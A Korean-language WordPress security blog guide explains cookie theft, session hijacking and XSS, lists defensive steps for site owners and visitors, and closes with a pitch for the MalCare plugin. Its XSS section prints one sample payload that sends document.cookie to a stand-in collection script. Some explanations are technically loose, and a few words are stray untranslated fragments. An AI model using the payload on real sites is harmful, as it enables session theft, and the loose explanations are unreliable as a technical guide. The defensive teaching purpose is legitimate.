Computer >> 컴퓨터 >  >> 프로그래밍 >> HTML

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

내 웹사이트가 쿠키를 통해 기밀 데이터를 저장하고 있다는 사실을 알고 계셨나요? 그리고 해커가 이 쿠키를 놀랄 만큼 쉽게 훔칠 수 있다는 사실도요? 이는 웹사이트와 방문자 모두를 위험에 빠뜨릴 수 있는 문제입니다!

쿠키에는 고객의 광고 선호도부터 로그인 정보, 신용카드 정보에 이르기까지 다양한 데이터가 담겨 있습니다. 쿠키는 인터넷 전반에서 광범위하게 사용되고 있으며, 생각보다 훨씬 자주 도난당하고 있다는 점이 무섭기까지 합니다.

쿠키 탈취(cookie stealing)나 세션 하이재킹(session hijacking)의 피해자가 되면 결과는 매우 심각합니다. 수익 감소와 방문자의 신뢰 상실은 물론, 법적 분쟁과 거액의 벌금까지 감당해야 할 수도 있습니다.

하지만 걱정하지 마세요. 오늘은 이러한 공격을 예방하기 위해 반드시 알아야 할 모든 내용을 하나하나 짚어 드리겠습니다!

이 가이드에서는 먼저 해커가 어떤 방식으로 쿠키를 탈취하는지 살펴본 뒤, 이를 막기 위한 구체적인 예방 조치까지 순서대로 안내합니다.

요약(TL;DR): 워드프레스 사이트가 걱정되신다면 지금 바로 세션 하이재킹 및 쿠키 탈취 방지 보안 플러그인을 설치하세요. 플러그인이 주기적으로 사이트를 스캔하여 해커가 쿠키 탈취를 위해 삽입한 악성 코드를 감지하면 즉시 알려줍니다. 이를 통해 해킹을 신속히 제거하고 2차 피해를 예방할 수 있습니다.

목차

→ 쿠키 탈취란 무엇인가?

→ 해커는 크로스 사이트 스크립팅(XSS)으로 어떻게 쿠키를 훔치고 세션을 탈취하는가?

→ 쿠키 탈취와 세션 하이재킹을 예방하는 방법

→ 웹사이트 방문자가 쿠키 탈취에 대비하는 방법


쿠키 탈취란 무엇인가?

우리가 바라는 것과 달리, 쿠키 탈취는 아이가 과자 항아리에 손을 뻗는 것처럼 단순한 일이 아닙니다. 꽤 복잡한 과정이기 때문에 이를 제대로 이해하려면 먼저 기본 개념부터 짚고 넘어가야 합니다.

→ 쿠키(Cookie)란?

쿠키는 작은 데이터 조각이라고 생각하면 됩니다. 사용자가 특정 웹사이트와 상호작용한 정보를 저장하는 역할을 하죠. 예를 들어 쇼핑몰 사이트는 고객의 여정을 추적하고 싶어 합니다. 어떤 상품을 검색했는지, 무엇을 구매했는지, 장바구니에 담아두고 버렸는지, 어떤 페이지를 방문했는지 같은 정보 말입니다.

이런 데이터를 통해 쇼핑몰은 고객 선호도, 가장 많이 방문되는 페이지, 페이지 체류 시간 등을 분석할 수 있습니다. 그리고 이 정보를 바탕으로 웹사이트에 노출되는 콘텐츠를 고객의 취향에 맞게 조정할 수 있죠.

즉, 쿠키는 사이트 운영자에게 무엇이 효과가 있고 무엇이 부족한지 보여주는 귀중한 인사이트를 제공합니다. 이를 통해 사이트에서 개선하거나 변경해야 할 부분을 판단할 수 있습니다.

쿠키는 또한 사용자에게 관련성 높은 광고를 보여주는 데에도 활용됩니다. 웹사이트를 돌아다니다 보면 각종 광고가 노출되는 것을 볼 수 있죠.

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

이런 광고는 대개 최근 검색 기록을 반영합니다. 예를 들어 구글에서 '노트북'을 검색했다면, 이후 방문하는 모든 웹사이트에서 노트북 광고가 쫓아다니는 경험을 해봤을 겁니다. 이 광고들은 해당 웹사이트 자체의 것이 아니라 구글 애드센스(Google AdSense) 같은 광고 서비스가 처리하는 것입니다.

쿠키는 웹사이트 운영자와 사용자 모두에게 편의를 제공합니다. 운영자 입장에서는 참여도와 매출을 높일 수 있고, 사용자 입장에서는 더 개인화된 경험과 자신에게 맞는 광고를 볼 수 있기 때문입니다.

하지만 쿠키에는 상당한 단점도 존재합니다. 이 부분은 잠시 후 자세히 다루겠습니다.

→ 브라우저 세션(Browser Session)과 세션 ID란?

어떤 웹사이트에 로그인하면, 내 컴퓨터와 해당 웹사이트 사이에 '세션'이 생성됩니다.

예를 들어 페이스북에 로그인하면 세션이 시작됩니다. 덕분에 '로그아웃' 버튼을 눌러 세션을 종료하기 전까지는 웹 브라우저를 닫았다가 다시 열어도 로그인 상태가 유지됩니다.

만약 세션이 없다면 새로운 데이터를 요청할 때마다 매번 로그인해야 할 것입니다. 뉴스 피드를 보다가 친구 프로필 페이지로 이동할 때마다 아이디와 비밀번호를 다시 입력해야 하는 불편함이 생기는 거죠.

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

바로 이런 이유 때문에 세션이 필요합니다. 세션은 로그인 상태를 유지해 주므로 우리는 여러 페이지를 자유롭게 오가며 사이트를 탐색할 수 있습니다.

여기서 중요한 점은 모든 세션은 고유한 세션 ID를 가진 세션 쿠키(session cookie)를 생성한다는 것입니다.

웹사이트는 이 ID를 통해 사용자를 인증하고 신뢰할 수 있는 연결을Establish합니다.

예를 들어 페이스북에 로그인하려면 아이디와 비밀번호를 입력합니다. 그러면 고유한 ID를 가진 세션이 생성되고, 이후 페이스북에 보내는 모든 요청은 이 ID로 인증됩니다. 다른 페이지를 보고 싶으면 페이스북 서버에 요청을 보내고, 페이스북은 해당 ID를 검증한 후 원하는 콘텐츠를 보여주는 방식입니다.

그런데 문제는 해커가 이 세션을 가로채서(hijack) 신뢰받는 연결을 악용할 수 있다는 점입니다. 해커는 사용자인 것처럼 위장해 악성 요청을 보낼 수 있습니다. 어떻게 가능한지 살펴보겠습니다.

→ 쿠키의 보안상 문제점은 무엇인가?

쿠키가 생성되면 원칙적으로 그것을 볼 수 있는 사람은 사이트 소유자(그리고 사용자 본인)뿐입니다. 다른 웹사이트는 내 쿠키를 열람할 수 없습니다.

그러나 이 쿠키들은 인터넷을 넘나듭니다. 광고 서비스와 분석 서비스가 쿠키를 사용하기 때문에, 쿠키는 전 세계의 서버에서 서버로 옮겨 다닙니다. 이때 연결이 안전하지 않다면 해커가 중간에서 쿠키를 가로채 훔칠 수 있습니다.

'해커가 내 쇼핑 취향 정도를 알아냈다면 뭐 어때서?'라고 생각할 수 있습니다.

하지만 문제는 쿠키에 저장되는 것이 쇼핑 취향뿐이 아니라는 점입니다. 쿠키에는 은행 정보와 배송지 주소, 연락처 같은 개인 정보도 함께 저장됩니다.

이런 정보가 악의적인 사람의 손에 들어가면 사기 등 범죄에 악용될 수 있습니다.

해커가 쿠키를 훔치는 가장 흔한 방법 중 하나는 동일한 Wi-Fi 네트워크를 공유하는 경우입니다. 이런 Wi-Fi 해킹은 '중간자 공격(Man-in-the-Middle Attack)'이라고 불리며, 공격자와 피해자가 같은 무선 네트워크에 접속되어 있을 때만 발생합니다. 그래서 보안이 취약하거나 불특정 다수가 사용하는 공용 와이파이는 절대 사용하지 말라고 권장하는 것입니다. 같은 사내 네트워크 안에서도 유사한 공격이 일어날 수 있습니다.

그 밖에도 패킷 스니핑(packet sniffing)이나 '크로스 사이트 스크립팅(XSS)'이라는 취약점을 악용하는 방법이 있습니다. 이번 글에서는 특히 XSS를 이용한 쿠키 탈취가 어떻게 작동하는지 자세히 살펴보겠습니다.

해커는 크로스 사이트 스크립팅(XSS)으로 어떻게 쿠키를 훔치고 세션을 탈취하는가?

XSS 공격으로 쿠키가 어떻게 탈취되는지 예시를 통해 설명해 보겠습니다. 댓글 기능이 있는 웹사이트에 방문했다고 가정해 봅시다.

사용자가 작성한 댓글은 웹사이트의 데이터베이스로 전송됩니다. 이상적으로는 댓글 입력란이 일반 텍스트만 허용하도록 설정되어야 합니다. 그런데 특수문자까지 허용하도록 되어 있다면 이 사이트는 XSS 공격에 취약해집니다.

해커는 자신만의 악성 코드를 작성해 댓글 형태로 데이터베이스에 전송할 수 있습니다. 코드가 데이터베이스에 들어가면 실행되는데, 해커는 이 코드로 새로운 관리자 계정 생성, 쿠키 탈취 등 각종 악의적인 행위를 수행할 수 있습니다.

쿠키를 탈취하기 위해 해커가 삽입할 수 있는 코드의 예는 다음과 같습니다:

참고: 이 글은 쿠키 탈취 방법을 가르치기 위한 튜토리얼이 아닙니다. 웹사이트 운영자가 해커의 쿠키 탈취 수법을 인식하고 대비할 수 있도록 돕기 위한 내용이며, 불법적인 활동을 권장하지 않습니다.

document.write('<img src="https://localhost/submitcookie.php?cookie='
+ escape(document.cookie) + '" />');

댓글 목록에서 이 코드는 이미지처럼 보입니다. 방문자인 여러분이 그것을 클릭하면 화면에는 이미지가 나타날 뿐인 것처럼 보이지만, 사실 그 이면에서는 다른 일이 벌어집니다.

이미지를 클릭하는 순간, 이 PHP 파일이 몰래 실행되면서 여러분의 세션 쿠키와 세션 ID를 빼돌립니다.

이제 해커는 여러분의 세션을 재현하여 해당 웹사이트에서 여러분으로 위장할 수 있습니다. 해커는 이를 통해 다양한 악성 행위를 저지를 수 있습니다. 예를 들어 쿠키에 신용카드나 결제 정보가 담겨 있다면, 해커는 마음대로 물건을 구매할 수도 있습니다.

다행히도 웹사이트 운영자와 방문자 모두를 이런 공격으로부터 보호할 수 있는 예방책이 존재합니다.

웹사이트 댓글란이나 이메일에 있는 의심스러운 링크는 절대 클릭하지 마세요. 쿠키 탈취 피해자가 될 수 있습니다.

쿠키 탈취와 세션 하이재킹을 예방하는 방법

쿠키 도난과 세션 하이재킹을 막는 데에는 두 주체가 관여합니다. 바로 웹사이트 운영자와 방문자입니다. 양쪽 모두를 위한 예방 조치를 살펴보겠습니다.

→ 웹사이트 운영자가 쿠키 탈취에 대비하는 방법

웹사이트 운영자라면, 전담 보안 분석가가 없는 이상 다음과 같은 예방 조치를 직접 실천해야 합니다.

1. SSL 인증서 설치

사용자의 브라우저와 웹 서버 사이에서는 끊임없이 데이터가 오갑니다. SSL이 없으면 이 데이터(쿠키)는 평문(plain text)으로 전송됩니다. 해커가 이 데이터를 가로채면 그대로 읽을 수 있으며, 로그인 정보가 포함되어 있다면 그대로 노출됩니다.

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

SSL(Secure Sockets Layer)은 전송 전에 데이터를 암호화합니다. 따라서 해커가 데이터를 훔치는 데 성공하더라도 내용을 읽을 수 없습니다.

SSL 인증서는 웹 호스팅 업체나 SSL 전문 공급업체를 통해 구매할 수 있으며, Let's Encrypt에서 무료 기본 인증서를 발급받는 방법도 있습니다.

2. 보안 플러그인 설치

MalCare 같은 워드프레스 보안 플러그인을 사이트에 상시 활성화해 두세요. 플러그인의 방화벽은 해킹 시도를 차단하고 악성 IP 주소를 막아줍니다. 또한 사이트를 주기적으로 스캔하여 해커가 삽입한 악성 코드가 발견되면 즉시 알려주기 때문에, 피해가 발생하기 전에 바로 정리할 수 있습니다.

3. 웹사이트 최신 버전 유지

워드프레스 코어, 테마, 플러그인을 포함해 웹사이트를 항상 최신 상태로 유지하세요. 오래된 소프트웨어로 운영되는 사이트는 해커가 악용할 수 있는 취약점이 곳곳에 생깁니다. 새로운 업데이트가 배포되면 즉시 적용하는 습관을 들이세요.

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

이런 업데이트는 새로운 기능 추가와 버그 수정뿐 아니라, 때때로 발견된 보안 취약점을 함께修补해 줍니다.

4. 웹사이트 강화(Hardening)

WordPress.org에서 권장하는 사이트 강화 조치들도 반드시 적용하세요. 강력하고 고유한 사용자 이름과 비밀번호 사용, 알 수 없는 폴더에서의 PHP 실행 차단, 테마·플러그인 파일 편집기 비활성화 등이 여기에 포함됩니다. 다소 생소하게 들릴 수 있으니, 단계별로 따라 할 수 있는 워드프레스 강화 가이드를 참고하는 것을 추천합니다.

웹사이트 방문자가 쿠키 탈취에 대비하는 방법

웹사이트 방문자라고 해서 사이트가 적절한 보안 조치를 취했으리라 맹신해서는 안 됩니다. 다음과 같은 웹 보안 수칙으로 스스로를 지킬 수 있습니다.

1. 효과적인 백신 프로그램 설치

인터넷에 접속하는 기기에 반드시 백신·안티멀웨어 소프트웨어를 설치하세요. 악성 사이트에 방문했을 때 멀웨어가 감지되면 경고해 주고, 실수로 다운로드하거나 설치한 멀웨어를 제거해 줍니다.

2. 의심스러운 링크는 절대 클릭 금지

해커는 웹사이트의 댓글란과 이메일을 통해 사용자를 공략합니다. 신뢰할 수 없는 링크, 특히 화끈한 할인이나 이벤트로 유혹하는 링크는 클릭하지 않는 것이 안전합니다.

3. 민감한 데이터 저장 자제

쇼핑 사이트에 신용카드 정보를 저장해 두면 결제가 빠르고 편리해집니다. 구글 크롬 같은 브라우저에 비밀번호를 저장해 두면 사이트마다 자동 로그인되니 기억할 필요도 없죠.

하지만 이 모든 편의는 도난당할 위험과 맞바꾸는 것입니다. 민감한 정보는 웹사이트에 저장하지 않는 것이 가장 좋습니다. 몇 초의 편리함을 위해 해킹 피해 위험을 감수할 가치는 없습니다.

4. 주기적으로 쿠키 삭제

구글 크롬 같은 브라우저에 저장된 민감한 정보를 없애기 위해 쿠키를 정기적으로 삭제할 수 있습니다. '설정 > 개인정보 및 보안 > 인터넷 사용 기록 삭제'로 이동한 뒤, '쿠키 및 기타 사이트 데이터' 항목에 체크하세요.

쿠키 탈취와 세션 하이재킹, 확실하게 막는 방법 (가장 쉬운 가이드)

기간은 '전체 기간' 또는 원하는 범위를 선택한 뒤 '인터넷 사용 기록 삭제' 버튼을 누르면 브라우저에서 쿠키가 삭제됩니다.

지금까지 쿠키 탈취의 전반적인 내용을 살펴봤습니다. 이 글이 쿠키 탈취가 정확히 어떻게 일어나는지, 그리고 이를 어떻게 예방할 수 있는지 이해하는 데 도움이 되었기를 바랍니다.

마무리 thoughts

웹사이트 운영자라면 본인의 이익뿐 아니라 방문자, 고객의 정보까지 지키기 위한 보호 조치를 반드시 취해야 합니다. 하지만 웹사이트를 구축하고 운영하는 일 자체가 이미 쉽지 않다는 것도 잘 알고 있습니다.

관리해야 할 일이 끝없이 많다 보니 워드프레스 보안은 자연스럽게 뒷전으로 밀려나기 마련입니다.

그러나 사이트 보안을 소홀히 하면 그동안 쌓아온 다른 모든 노력이 한순간에 무너질 수 있습니다.

쉽고 빠르며 효율적인 해결책이 바로 MalCare 보안 플러그인입니다. 전담 경비원을 고용했다고 생각하면 됩니다. MalCare는 하루 24시간 쉬지 않고 사이트를 주기적으로 스캔하며 각종 공격으로부터 보호합니다. 여러분의 웹사이트가 안전한 손에 있다는 사실에 안심하셔도 됩니다.


MalCare로 여러분의 워드프레스 사이트를 지키세요!